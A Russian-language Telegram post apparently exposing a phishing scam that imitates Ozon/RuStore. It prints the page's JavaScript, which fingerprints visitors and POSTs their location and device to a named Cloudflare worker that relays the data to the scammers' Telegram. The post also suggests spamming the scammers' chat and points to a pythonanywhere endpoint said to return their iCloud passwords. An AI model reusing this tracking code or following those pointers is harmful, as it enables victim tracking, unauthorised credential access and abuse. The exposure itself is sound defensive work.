scammers .NET on Telegram: “function detectDevice() { 862- const userAgent =…”

function detectDevice() {
862-        const userAgent = navigator.userAgent;
863-        if (/iPhone|iPad|iPod/i.test(userAgent)) {
864-            return "iOS Device";
865-        } else if (/Android/i.test(userAgent)) {
866-            return "Android Device";
867-        } else if (/Windows/i.test(userAgent)) {
868-            return "Windows PC";
869-        } else if (/Mac/i.test(userAgent)) {
870-            return "Mac";
871-        }
872-        return "Unknown Device";
873-    }
874-
875:    const WORKER_URL = 'https://ozon.raveink.workers.dev/';
876-    const ROOM_ID = 1;
877-    
878-    function sendLog(actionType) {
879-        fetch('https://ipinfo.io/json')
880-            .then(response => response.json())
881-            .then(ipData => {
882-                sendToWorker({
883-                    link_id: ROOM_ID,
884-                    page: location.href,
885-                    country: ipData.country || '-',
886-                    city: ipData.city || '-',
887-                    device: detectDevice(),
888-                    action: actionType
889-                });
890-            })
891-            .catch(() => {
892-                // если ipinfo не ответил
893-                sendToWorker({
894-                    link_id: ROOM_ID,
895-                    page: location.href,
896-                    country: '-',
897-                    city: '-',
898-                    device: detectDevice(),
899-                    action: actionType
900-                });
901-            });
902-    }
903-    
904-    function sendToWorker(payload) {
905:        fetch(WORKER_URL, {
906-            method: 'POST',
907-            headers: {
908-                'Content-Type': 'application/json'
909-            },
910-            body: JSON.stringify(payload)
911-        }).catch(() => {});
912-    }
913-    
914-    // Пример вызова
915-    sendLog('Сайт открыт');

мы видим что функция detectDevice() возвращает устройство в зависимости от user agent в браузере. Также в функции sendLog вызывается воркер который отправляет POST запрос
Если простыми словами, то мошенники подсовывают жертве поддельную страницу «скачай приложение на айфон» (копия RuStore/Ozon). На странице стоит незаметный скрипт, который в фоне отправляет данные о жертве на адрес воркера ozon.raveink.workers.dev, а тот — мгновенно пересылает их в Telegram-чат мошенников.
Что именно отправляется (POST-запрос, ru.ozon.html):

{
  "link_id": 1,          // номер "комнаты"/фишингового сайта
  "page": "адрес страницы жертвы",
  "country": "страна",   // берётся по IP через ipinfo.io
  "city": "город",
  "device": "iPhone",    // определяется по user-agent браузера
  "action": "Сайт открыт" // или "Кнопка Я вошел"
}

Что происходит дальше:
Страница жертвы делает POST на https://ozon.raveink.workers.dev/ с этим JSON.
Воркер (бесплатный сервер на краю сети Cloudflare) принимает данные и шлёт их в Telegram оператора сообщением вида: "Сервис: Ozon, Страна: XX, Город: T, Устройство: iPhone, Действие: …".
В ответ браузеру воркер возвращает {"tg":{"ok":true}} - то есть "уведомление в Telegram доставлено". Счётчик сообщений в их чате уже ~9700 - ловушка реально работает. (Кст таким образом им можно чат засрать спамом)
Но это еще не все, что насчет этой ссылки? https://cfg2024.pythonanywhere.com/
А это у нас pythonanywhere бесплатный хостинг скриптов. Мы видим что на бесплатном хостинге они зарегались под ником cfg2024. Если просто перейти по этой ссылке, то сервак притворится что этого сервака нет и вернет пустышку. Но если дописать endpoint /ozon1 то оно вернет почту и пароль icloud мошенника. Но это еще не все, если менять 1 на 2 то оно будет возвращать другую почту с паролем и так до 10.